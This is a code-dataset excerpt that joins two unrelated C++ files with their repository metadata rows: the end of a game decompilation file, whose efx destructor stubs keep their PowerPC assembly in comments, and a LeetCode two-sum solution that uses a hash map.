{
/*
lwz r3, 8(r3)
cmplwi r3, 0
beqlr
stfs f1, 0xb0(r3)
stfs f1, 0xb4(r3)
blr
*/
}
/*
* --INFO--
* Address: 803ECA94
* Size: 00009C
*/
THdamaShell::~THdamaShell(void)
{
/*
stwu r1, -0x10(r1)
mflr r0
stw r0, 0x14(r1)
stw r31, 0xc(r1)
mr r31, r4
stw r30, 8(r1)
or. r30, r3, r3
beq lbl_803ECB14
lis r3, __vt__Q23efx11THdamaShell@ha
addi r3, r3, __vt__Q23efx11THdamaShell@l
stw r3, 0(r30)
addi r0, r3, 0x14
stw r0, 4(r30)
beq lbl_803ECB04
lis r3, __vt__Q23efx9TChasePos@ha
addi r3, r3, __vt__Q23efx9TChasePos@l
stw r3, 0(r30)
addi r0, r3, 0x14
stw r0, 4(r30)
beq lbl_803ECB04
lis r4, __vt__Q23efx5TSync@ha
addi r3, r30, 4
addi r5, r4, __vt__Q23efx5TSync@l
li r4, 0
stw r5, 0(r30)
addi r0, r5, 0x14
stw r0, 4(r30)
bl __dt__18JPAEmitterCallBackFv
lbl_803ECB04:
extsh. r0, r31
ble lbl_803ECB14
mr r3, r30
bl __dl__FPv
lbl_803ECB14:
lwz r0, 0x14(r1)
mr r3, r30
lwz r31, 0xc(r1)
lwz r30, 8(r1)
mtlr r0
addi r1, r1, 0x10
blr
*/
}
/*
* --INFO--
* Address: 803ECB30
* Size: 000008
*/
@4 @efx::TKchYodareBaseChaseMtx::~TKchYodareBaseChaseMtx(void)
{
/*
addi r3, r3, -4
b __dt__Q23efx22TKchYodareBaseChaseMtxFv
*/
}
/*
* --INFO--
* Address: 803ECB38
* Size: 000008
*/
@4 @efx::THdamaShell::~THdamaShell(void)
{
/*
addi r3, r3, -4
b __dt__Q23efx11THdamaShellFv
*/
}
} // namespace efx
| 20.926367 | 83 | 0.579276 | projectPiki |
152f8223d47a0bf6ab4bb32cf2fd882fdde8118d | 451 | cpp | C++ | Dataset/Leetcode/train/1/687.cpp | kkcookies99/UAST | fff81885aa07901786141a71e5600a08d7cb4868 | [
"MIT"
] | null | null | null | Dataset/Leetcode/train/1/687.cpp | kkcookies99/UAST | fff81885aa07901786141a71e5600a08d7cb4868 | [
"MIT"
] | null | null | null | Dataset/Leetcode/train/1/687.cpp | kkcookies99/UAST | fff81885aa07901786141a71e5600a08d7cb4868 | [
"MIT"
] | null | null | null | class Solution {
public:
vector<int> XXX(vector<int>& nums, int target) {
unordered_map<int,int>hashmap;
vector<int> retVec;
for(int i=0;i<nums.size();i++){
if(hashmap.count(target-nums[i])>0){
retVec.push_back(hashmap[target-nums[i]]);
retVec.push_back(i);
return retVec;
}
hashmap[nums[i]]=i;
}
return retVec;
}
};
| 25.055556 | 58 | 0.496674 | kkcookies99 |